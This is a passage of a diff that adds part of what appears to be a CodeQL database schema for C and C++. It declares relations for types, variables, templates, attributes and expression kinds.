+ string message : string ref,
+ int location: @location_default ref,
+ int enclosing : @element ref
+);
+
+// each function has an ordered list of parameters
+#keyset[id, type_id]
+#keyset[function, index, type_id]
+params(
+ int id: @parameter,
+ int function: @parameterized_element ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+overrides(
+ int new: @function ref,
+ int old: @function ref
+);
+
+#keyset[id, type_id]
+membervariables(
+ int id: @membervariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+globalvariables(
+ int id: @globalvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+#keyset[id, type_id]
+localvariables(
+ int id: @localvariable,
+ int type_id: @type ref,
+ string name: string ref
+);
+
+autoderivation(
+ unique int var: @variable ref,
+ int derivation_type: @type ref
+);
+
+orphaned_variables(
+ int var: @localvariable ref,
+ int function: @function ref
+)
+
+enumconstants(
+ unique int id: @enumconstant,
+ int parent: @usertype ref,
+ int index: int ref,
+ int type_id: @type ref,
+ string name: string ref,
+ int location: @location_default ref
+);
+
+@variable = @localscopevariable | @globalvariable | @membervariable;
+
+@localscopevariable = @localvariable | @parameter;
+
+/**
+ * Built-in types are the fundamental types, e.g., integral, floating, and void.
+ */
+case @builtintype.kind of
+ 1 = @errortype
+| 2 = @unknowntype
+| 3 = @void
+| 4 = @boolean
+| 5 = @char
+| 6 = @unsigned_char
+| 7 = @signed_char
+| 8 = @short
+| 9 = @unsigned_short
+| 10 = @signed_short
+| 11 = @int
+| 12 = @unsigned_int
+| 13 = @signed_int
+| 14 = @long
+| 15 = @unsigned_long
+| 16 = @signed_long
+| 17 = @long_long
+| 18 = @unsigned_long_long
+| 19 = @signed_long_long
+// ... 20 Microsoft-specific __int8
+// ... 21 Microsoft-specific __int16
+// ... 22 Microsoft-specific __int32
+// ... 23 Microsoft-specific __int64
+| 24 = @float
+| 25 = @double
+| 26 = @long_double
+| 27 = @complex_float // C99-specific _Complex float
+| 28 = @complex_double // C99-specific _Complex double
+| 29 = @complex_long_double // C99-specific _Complex long double
+| 30 = @imaginary_float // C99-specific _Imaginary float
+| 31 = @imaginary_double // C99-specific _Imaginary double
+| 32 = @imaginary_long_double // C99-specific _Imaginary long double
+| 33 = @wchar_t // Microsoft-specific
+| 34 = @decltype_nullptr // C++11
+| 35 = @int128 // __int128
+| 36 = @unsigned_int128 // unsigned __int128
+| 37 = @signed_int128 // signed __int128
+| 38 = @float128 // __float128
+| 39 = @complex_float128 // _Complex __float128
+| 40 = @decimal32 // _Decimal32
+| 41 = @decimal64 // _Decimal64
+| 42 = @decimal128 // _Decimal128
+| 43 = @char16_t
+| 44 = @char32_t
+| 45 = @std_float32 // _Float32
+| 46 = @float32x // _Float32x
+| 47 = @std_float64 // _Float64
+| 48 = @float64x // _Float64x
+| 49 = @std_float128 // _Float128
+// ... 50 _Float128x
+| 51 = @char8_t
+| 52 = @float16 // _Float16
+| 53 = @complex_float16 // _Complex _Float16
+| 54 = @fp16 // __fp16
+| 55 = @std_bfloat16 // __bf16
+| 56 = @std_float16 // std::float16_t
+| 57 = @complex_std_float32 // _Complex _Float32
+| 58 = @complex_float32x // _Complex _Float32x
+| 59 = @complex_std_float64 // _Complex _Float64
+| 60 = @complex_float64x // _Complex _Float64x
+| 61 = @complex_std_float128 // _Complex _Float128
+| 62 = @mfp8 // __mfp8
+;
+
+builtintypes(
+ unique int id: @builtintype,
+ string name: string ref,
+ int kind: int ref,
+ int size: int ref,
+ int sign: int ref,
+ int alignment: int ref
+);
+
+/**
+ * Derived types are types that are directly derived from existing types and
+ * point to, refer to, transform type data to return a new type.
+ */
+case @derivedtype.kind of
+ 1 = @pointer
+| 2 = @reference
+| 3 = @type_with_specifiers
+| 4 = @array
+| 5 = @gnu_vector
+| 6 = @routineptr
+| 7 = @routinereference
+| 8 = @rvalue_reference // C++11
+// ... 9 type_conforming_to_protocols deprecated
+| 10 = @block
+;
+
+derivedtypes(
+ unique int id: @derivedtype,
+ string name: string ref,
+ int kind: int ref,
+ int type_id: @type ref
+);
+
+pointerishsize(unique int id: @derivedtype ref,
+ int size: int ref,
+ int alignment: int ref);
+
+arraysizes(
+ unique int id: @derivedtype ref,
+ int num_elements: int ref,
+ int bytesize: int ref,
+ int alignment: int ref
+);
+
+typedefbase(
+ unique int id: @usertype ref,
+ int type_id: @type ref
+);
+
+/**
+ * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual`
+ * operator taking an expression as its argument. For example:
+ * ```
+ * int a;
+ * decltype(1+a) b;
+ * typeof(1+a) c;
+ * ```
+ * Here `expr` is `1+a`.
+ *
+ * Sometimes an additional pair of parentheses around the expression
+ * changes the semantics of the decltype, e.g.
+ * ```
+ * struct A { double x; };
+ * const A* a = new A();
+ * decltype( a->x ); // type is double
+ * decltype((a->x)); // type is const double&
+ * ```
+ * (Please consult the C++11 standard for more details).
+ * `parentheses_would_change_meaning` is `true` iff that is the case.
+ */
+
+/*
+case @decltype.kind of
+| 0 = @decltype
+| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+;
+*/
+
+#keyset[id, expr]
+decltypes(
+ int id: @decltype,
+ int expr: @expr ref,
+ int kind: int ref,
+ int base_type: @type ref,
+ boolean parentheses_would_change_meaning: boolean ref
+);
+
+/*
+case @type_operator.kind of
+| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual
+| 1 = @underlying_type
+| 2 = @bases
+| 3 = @direct_bases
+| 4 = @add_lvalue_reference
+| 5 = @add_pointer
+| 6 = @add_rvalue_reference
+| 7 = @decay
+| 8 = @make_signed
+| 9 = @make_unsigned
+| 10 = @remove_all_extents
+| 11 = @remove_const
+| 12 = @remove_cv
+| 13 = @remove_cvref
+| 14 = @remove_extent
+| 15 = @remove_pointer
+| 16 = @remove_reference_t
+| 17 = @remove_restrict
+| 18 = @remove_volatile
+| 19 = @remove_reference
+;
+*/
+
+type_operators(
+ unique int id: @type_operator,
+ int arg_type: @type ref,
+ int kind: int ref,
+ int base_type: @type ref
+)
+
+/*
+case @usertype.kind of
+| 0 = @unknown_usertype
+| 1 = @struct
+| 2 = @class
+| 3 = @union
+| 4 = @enum
+// ... 5 = @typedef deprecated // classic C: typedef typedef type name
+// ... 6 = @template deprecated
+| 7 = @template_parameter
+| 8 = @template_template_parameter
+| 9 = @proxy_class // a proxy class associated with a template parameter
+// ... 10 objc_class deprecated
+// ... 11 objc_protocol deprecated
+// ... 12 objc_category deprecated
+| 13 = @scoped_enum
+// ... 14 = @using_alias deprecated // a using name = type style typedef
+| 15 = @template_struct
+| 16 = @template_class
+| 17 = @template_union
+| 18 = @alias
+;
+*/
+
+usertypes(
+ unique int id: @usertype,
+ string name: string ref,
+ int kind: int ref
+);
+
+usertypesize(
+ unique int id: @usertype ref,
+ int size: int ref,
+ int alignment: int ref
+);
+
+usertype_final(unique int id: @usertype ref);
+
+usertype_uuid(
+ unique int id: @usertype ref,
+ string uuid: string ref
+);
+
+/*
+case @usertype.alias_kind of
+| 0 = @typedef
+| 1 = @alias
+*/
+
+usertype_alias_kind(
+ int id: @usertype ref,
+ int alias_kind: int ref
+)
+
+nontype_template_parameters(
+ int id: @expr ref
+);
+
+type_template_type_constraint(
+ int id: @usertype ref,
+ int constraint: @expr ref
+);
+
+mangled_name(
+ unique int id: @declaration ref,
+ int mangled_name : @mangledname,
+ boolean is_complete: boolean ref
+);
+
+is_pod_class(unique int id: @usertype ref);
+is_standard_layout_class(unique int id: @usertype ref);
+
+is_complete(unique int id: @usertype ref);
+
+is_class_template(unique int id: @usertype ref);
+class_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+class_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+class_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@user_or_decltype = @usertype | @decltype;
+
+is_proxy_class_for(
+ unique int id: @usertype ref,
+ int templ_param_id: @user_or_decltype ref
+);
+
+type_mentions(
+ unique int id: @type_mention,
+ int type_id: @type ref,
+ int location: @location ref,
+ // a_symbol_reference_kind from the frontend.
+ int kind: int ref
+);
+
+is_function_template(unique int id: @function ref);
+function_instantiation(
+ unique int to: @function ref,
+ int from: @function ref
+);
+function_template_argument(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+function_template_argument_value(
+ int function_id: @function ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+is_variable_template(unique int id: @variable ref);
+variable_instantiation(
+ unique int to: @variable ref,
+ int from: @variable ref
+);
+variable_template_argument(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+variable_template_argument_value(
+ int variable_id: @variable ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+template_template_instantiation(
+ int to: @usertype ref,
+ int from: @usertype ref
+);
+template_template_argument(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+template_template_argument_value(
+ int type_id: @usertype ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+@concept = @concept_template | @concept_id;
+
+concept_templates(
+ unique int concept_id: @concept_template,
+ string name: string ref,
+ int location: @location_default ref
+);
+concept_instantiation(
+ unique int to: @concept_id ref,
+ int from: @concept_template ref
+);
+is_type_constraint(int concept_id: @concept_id ref);
+concept_template_argument(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_type: @type ref
+);
+concept_template_argument_value(
+ int concept_id: @concept ref,
+ int index: int ref,
+ int arg_value: @expr ref
+);
+
+routinetypes(
+ unique int id: @routinetype,
+ int return_type: @type ref
+);
+
+routinetypeargs(
+ int routine: @routinetype ref,
+ int index: int ref,
+ int type_id: @type ref
+);
+
+ptrtomembers(
+ unique int id: @ptrtomember,
+ int type_id: @type ref,
+ int class_id: @type ref
+);
+
+/*
+ specifiers for types, functions, and variables
+
+ "public",
+ "protected",
+ "private",
+
+ "const",
+ "volatile",
+ "static",
+
+ "pure",
+ "virtual",
+ "sealed", // Microsoft
+ "__interface", // Microsoft
+ "inline",
+ "explicit",
+
+ "near", // near far extension
+ "far", // near far extension
+ "__ptr32", // Microsoft
+ "__ptr64", // Microsoft
+ "__sptr", // Microsoft
+ "__uptr", // Microsoft
+ "dllimport", // Microsoft
+ "dllexport", // Microsoft
+ "thread", // Microsoft
+ "naked", // Microsoft
+ "microsoft_inline", // Microsoft
+ "forceinline", // Microsoft
+ "selectany", // Microsoft
+ "nothrow", // Microsoft
+ "novtable", // Microsoft
+ "noreturn", // Microsoft
+ "noinline", // Microsoft
+ "noalias", // Microsoft
+ "restrict", // Microsoft
+*/
+
+specifiers(
+ unique int id: @specifier,
+ unique string str: string ref
+);
+
+typespecifiers(
+ int type_id: @type ref,
+ int spec_id: @specifier ref
+);
+
+funspecifiers(
+ int func_id: @function ref,
+ int spec_id: @specifier ref
+);
+
+varspecifiers(
+ int var_id: @accessible ref,
+ int spec_id: @specifier ref
+);
+
+explicit_specifier_exprs(
+ unique int func_id: @function ref,
+ int constant: @expr ref
+)
+
+attributes(
+ unique int id: @attribute,
+ int kind: int ref,
+ string name: string ref,
+ string name_space: string ref,
+ int location: @location_default ref
+);
+
+case @attribute.kind of
+ 0 = @gnuattribute
+| 1 = @stdattribute
+| 2 = @declspec
+| 3 = @msattribute
+| 4 = @alignas
+// ... 5 @objc_propertyattribute deprecated
+;
+
+attribute_args(
+ unique int id: @attribute_arg,
+ int kind: int ref,
+ int attribute: @attribute ref,
+ int index: int ref,
+ int location: @location_default ref
+);
+
+case @attribute_arg.kind of
+ 0 = @attribute_arg_empty
+| 1 = @attribute_arg_token
+| 2 = @attribute_arg_constant
+| 3 = @attribute_arg_type
+| 4 = @attribute_arg_constant_expr
+| 5 = @attribute_arg_expr
+;
+
+attribute_arg_value(
+ unique int arg: @attribute_arg ref,
+ string value: string ref
+);
+attribute_arg_type(
+ unique int arg: @attribute_arg ref,
+ int type_id: @type ref
+);
+attribute_arg_constant(
+ unique int arg: @attribute_arg ref,
+ int constant: @expr ref
+)
+attribute_arg_expr(
+ unique int arg: @attribute_arg ref,
+ int expr: @expr ref
+)
+attribute_arg_name(
+ unique int arg: @attribute_arg ref,
+ string name: string ref
+);
+
+typeattributes(
+ int type_id: @type ref,
+ int spec_id: @attribute ref
+);
+
+funcattributes(
+ int func_id: @function ref,
+ int spec_id: @attribute ref
+);
+
+varattributes(
+ int var_id: @accessible ref,
+ int spec_id: @attribute ref
+);
+
+stmtattributes(
+ int stmt_id: @stmt ref,
+ int spec_id: @attribute ref
+);
+
+@type = @builtintype
+ | @derivedtype
+ | @usertype
+ | @routinetype
+ | @ptrtomember
+ | @decltype
+ | @type_operator;
+
+unspecifiedtype(
+ unique int type_id: @type ref,
+ int unspecified_type_id: @type ref
+);
+
+member(
+ int parent: @type ref,
+ int index: int ref,
+ int child: @member ref
+);
+
+@enclosingfunction_child = @usertype | @variable | @namespace
+
+enclosingfunction(
+ unique int child: @enclosingfunction_child ref,
+ int parent: @function ref
+);
+
+derivations(
+ unique int derivation: @derivation,
+ int sub: @type ref,
+ int index: int ref,
+ int super: @type ref,
+ int location: @location_default ref
+);
+
+derspecifiers(
+ int der_id: @derivation ref,
+ int spec_id: @specifier ref
+);
+
+/**
+ * Contains the byte offset of the base class subobject within the derived
+ * class. Only holds for non-virtual base classes, but see table
+ * `virtual_base_offsets` for offsets of virtual base class subobjects.
+ */
+direct_base_offsets(
+ unique int der_id: @derivation ref,
+ int offset: int ref
+);
+
+/**
+ * Contains the byte offset of the virtual base class subobject for class
+ * `super` within a most-derived object of class `sub`. `super` can be either a
+ * direct or indirect base class.
+ */
+#keyset[sub, super]
+virtual_base_offsets(
+ int sub: @usertype ref,
+ int super: @usertype ref,
+ int offset: int ref
+);
+
+frienddecls(
+ unique int id: @frienddecl,
+ int type_id: @type ref,
+ int decl_id: @declaration ref,
+ int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+ | @declaredtype
+ | @variable
+ | @enumconstant
+ | @frienddecl
+ | @concept_template;
+
+@member = @membervariable
+ | @function
+ | @declaredtype
+ | @enumconstant;
+
+@locatable = @diagnostic
+ | @declaration
+ | @ppd_include
+ | @ppd_define
+ | @macroinvocation
+ /*| @funcall*/
+ | @xmllocatable
+ | @attribute
+ | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+ | @file
+ | @folder
+ | @specifier
+ | @type
+ | @expr
+ | @namespace
+ | @initialiser
+ | @stmt
+ | @derivation
+ | @comment
+ | @preprocdirect
+ | @fun_decl
+ | @var_decl
+ | @type_decl
+ | @namespace_decl
+ | @using
+ | @namequalifier
+ | @specialnamequalifyingelement
+ | @static_assert
+ | @type_mention
+ | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+ unique int id: @comment,
+ string contents: string ref,
+ int location: @location_default ref
+);
+
+commentbinding(
+ int id: @comment ref,
+ int element: @element ref
+);
+
+exprconv(
+ int converted: @expr ref,
+ unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+ int element: @element ref,
+ int i: int ref,
+ int destructor_call: @routineexpr ref
+);
+
+namespaces(
+ unique int id: @namespace,
+ string name: string ref
+);
+
+namespace_inline(
+ unique int id: @namespace ref
+);
+
+namespacembrs(
+ int parentid: @namespace ref,
+ unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+ int expr_id: @expr ref,
+ int child_index: int ref,
+ int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+ | @const_cast
+ | @dynamic_cast
+ | @reinterpret_cast
+ | @static_cast
+ ;
+
+/*
+case @conversion.kind of
+ 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion // conversion to 'bool'
+| 2 = @base_class_conversion // a derived-to-base conversion
+| 3 = @derived_class_conversion // a base-to-derived conversion
+| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+ unique int expr_id: @cast ref,
+ int kind: int ref
+);
+
+@conversion = @cast
+ | @array_to_pointer
+ | @parexpr
+ | @reference_to
+ | @ref_indirect
+ | @temp_init
+ | @c11_generic
+ ;
+
+/*
+case @funbindexpr.kind of
+ 0 = @normal_call // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call // a call whose target is only found by ADL
+;
+*/
+iscall(
+ unique int caller: @funbindexpr ref,
+ int kind: int ref
+);
+
+numtemplatearguments(
+ unique int expr_id: @expr ref,
+ int num: int ref
+);
+
+specialnamequalifyingelements(
+ unique int id: @specialnamequalifyingelement,
+ unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+ | @specialnamequalifyingelement
+ | @usertype;
+
+namequalifiers(
+ unique int id: @namequalifier,
+ unique int qualifiableelement: @namequalifiableelement ref,
+ int qualifyingelement: @namequalifyingelement ref,
+ int location: @location_default ref
+);
+
+varbind(
+ int expr: @varbindexpr ref,
+ int var: @accessible ref
+);
+
+funbind(
+ int expr: @funbindexpr ref,
+ int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+ | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+ | @delete_expr
+ | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+ | @unaryplusexpr
+ | @conjugation
+ | @realpartexpr
+ | @imagpartexpr
+ | @crement_expr
+ ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+ | @indirect
+ | @un_arith_op_expr
+ | @un_bitwise_op_expr
+ | @builtinaddressof
+ | @vec_fill
+ | @un_log_op_expr
+ | @co_await
+ | @co_yield
+ ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+ | @ltexpr
+ | @geexpr
+ | @leexpr
+ | @spaceshipexpr
+ ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+ | @rshiftexpr
+ | @andexpr
+ | @orexpr
+ | @xorexpr
+ ;
+
+@p_arith_op_expr = @paddexpr
+ | @psubexpr
+ | @pdiffexpr
+ ;
+
+@bin_arith_op_expr = @addexpr
+ | @subexpr
+ | @mulexpr
+ | @divexpr
+ | @remexpr
+ | @jmulexpr
+ | @jdivexpr
+ | @fjaddexpr
+ | @jfaddexpr
+ | @fjsubexpr
+ | @jfsubexpr
+ | @minexpr
+ | @maxexpr
+ | @p_arith_op_expr
+ ;
+
+@bin_op_expr = @bin_arith_op_expr
+ | @bin_bitwise_op_expr
+ | @cmp_op_expr
+ | @bin_log_op_expr
+ ;
+
+@op_expr = @un_op_expr
+ | @bin_op_expr
+ | @assign_expr
+ | @conditionalexpr
+ ;
+
+@assign_arith_expr = @assignaddexpr
+ | @assignsubexpr
+ | @assignmulexpr
+ | @assigndivexpr
+ | @assignremexpr
+ ;
+
+@assign_bitwise_expr = @assignandexpr
+ | @assignorexpr
+ | @assignxorexpr
+ | @assignlshiftexpr
+ | @assignrshiftexpr
+ ;
+
+@assign_pointer_expr = @assignpaddexpr
+ | @assignpsubexpr
+ ;
+
+@assign_op_expr = @assign_arith_expr
+ | @assign_bitwise_expr
+ | @assign_pointer_expr
+ ;
+
+@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr
+
+/*
+ Binary encoding of the allocator form.
+
+ case @allocator.form of
+ 0 = plain
+ | 1 = alignment
+ ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+ unique int expr: @any_new_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/*
+ Binary encoding of the deallocator form.
+
+ case @deallocator.form of
+ 0 = plain
+ | 1 = size
+ | 2 = alignment
+ | 4 = destroying_delete
+ ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+ unique int expr: @new_or_delete_expr ref,
+ int func: @function ref,
+ int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+ unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+ unique int cond: @conditionalexpr ref,
+ int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+ unique int cond: @conditionalexpr ref,
+ int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+ unique int cond: @conditionalexpr ref,
+ int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+ unique int id: @value,
+ string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+ unique int id: @value ref,
+ string text: string ref
+);
+
+valuebind(
+ int val: @value ref,
+ unique int expr: @expr ref
+);
+
+fieldoffsets(
+ unique int id: @variable ref,
+ int byteoffset: int ref,
+ int bitoffset: int ref
+);
+
+bitfield(
+ unique int id: @variable ref,
+ int bits: int ref,
+ int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+ int member: @expr ref,
+ int prefix: @expr ref
+);
+*/
+
+/*
+ kind(1) = mbrcallexpr
+ kind(2) = mbrptrcallexpr
+ kind(3) = mbrptrmbrcallexpr
+ kind(4) = ptrmbrptrmbrcallexpr
+ kind(5) = mbrreadexpr // x.y
+ kind(6) = mbrptrreadexpr // p->y
+ kind(7) = mbrptrmbrreadexpr // x.*pm
+ kind(8) = mbrptrmbrptrreadexpr // x->*pm
+ kind(9) = staticmbrreadexpr // static x.y
+ kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+ int member: @expr ref,
+ int kind: int ref
+);
+*/
+
+initialisers(
+ unique int init: @initialiser,
+ int var: @accessible ref,
+ unique int expr: @expr ref,
+ int location: @location_expr ref
+);
+
+braced_initialisers(
+ int init: @initialiser ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+ int exp: @expr ref,
+ int ancestor: @element ref
+);
+
+exprs(
+ unique int id: @expr,
+ int kind: int ref,
+ int location: @location_expr ref
+);
+
+expr_reuse(
+ int reuse: @expr ref,
+ int original: @expr ref,
+ int value_category: int ref
+)
+
+/*
+ case @value.category of
+ 1 = prval
+ | 2 = xval
+ | 3 = lval
+ ;
+*/
+expr_types(
+ int id: @expr ref,
+ int typeid: @type ref,
+ int value_category: int ref
+);
+
+case @expr.kind of
+ 1 = @errorexpr
+| 2 = @address_of // & AddressOfExpr
+| 3 = @reference_to // ReferenceToExpr (implicit?)
+| 4 = @indirect // * PointerDereferenceExpr
+| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+| 8 = @array_to_pointer // (???)
+| 9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+| 11 = @assume // Microsoft
+| 12 = @parexpr
+| 13 = @arithnegexpr
+| 14 = @unaryplusexpr
+| 15 = @complementexpr
+| 16 = @notexpr
+| 17 = @conjugation // GNU ~ operator
+| 18 = @realpartexpr // GNU __real
+| 19 = @imagpartexpr // GNU __imag
+| 20 = @postincrexpr
+| 21 = @postdecrexpr
+| 22 = @preincrexpr
+| 23 = @predecrexpr
+| 24 = @conditionalexpr
+| 25 = @addexpr
+| 26 = @subexpr
+| 27 = @mulexpr
+| 28 = @divexpr
+| 29 = @remexpr
+| 30 = @jmulexpr // C99 mul imaginary
+| 31 = @jdivexpr // C99 div imaginary
+| 32 = @fjaddexpr // C99 add real + imaginary
+| 33 = @jfaddexpr // C99 add imaginary + real
+| 34 = @fjsubexpr // C99 sub real - imaginary
+| 35 = @jfsubexpr // C99 sub imaginary - real
+| 36 = @paddexpr // pointer add (pointer + int or int + pointer)
+| 37 = @psubexpr // pointer sub (pointer - integer)
+| 38 = @pdiffexpr // difference between two pointers
+| 39 = @lshiftexpr
+| 40 = @rshiftexpr
+| 41 = @andexpr
+| 42 = @orexpr
+| 43 = @xorexpr
+| 44 = @eqexpr
+| 45 = @neexpr
+| 46 = @gtexpr
+| 47 = @ltexpr
+| 48 = @geexpr
+| 49 = @leexpr
+| 50 = @minexpr // GNU minimum
+| 51 = @maxexpr // GNU maximum
+| 52 = @assignexpr
+| 53 = @assignaddexpr
+| 54 = @assignsubexpr
+| 55 = @assignmulexpr
+| 56 = @assigndivexpr
+| 57 = @assignremexpr
+| 58 = @assignlshiftexpr
+| 59 = @assignrshiftexpr
+| 60 = @assignandexpr
+| 61 = @assignorexpr
+| 62 = @assignxorexpr
+| 63 = @assignpaddexpr // assign pointer add
+| 64 = @assignpsubexpr // assign pointer sub
+| 65 = @andlogicalexpr
+| 66 = @orlogicalexpr
+| 67 = @commaexpr
+| 68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ... 69 @objc_subscriptexpr deprecated
+// ... 70 @cmdaccess deprecated
+// ...
+| 73 = @virtfunptrexpr
+| 74 = @callexpr
+// ... 75 @msgexpr_normal deprecated
+// ... 76 @msgexpr_super deprecated
+// ... 77 @atselectorexpr deprecated
+// ... 78 @atprotocolexpr deprecated
+| 79 = @vastartexpr
+| 80 = @vaargexpr
+| 81 = @vaendexpr
+| 82 = @vacopyexpr
+// ... 83 @atencodeexpr deprecated
+| 84 = @varaccess
+| 85 = @thisaccess
+// ... 86 @objc_box_expr deprecated
+| 87 = @new_expr
+| 88 = @delete_expr
+| 89 = @throw_expr
+| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+| 91 = @braced_init_list
+| 92 = @type_id
+| 93 = @runtime_sizeof
+| 94 = @runtime_alignof
+| 95 = @sizeof_pack
+| 96 = @expr_stmt // GNU extension
+| 97 = @routineexpr
+| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+| 99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
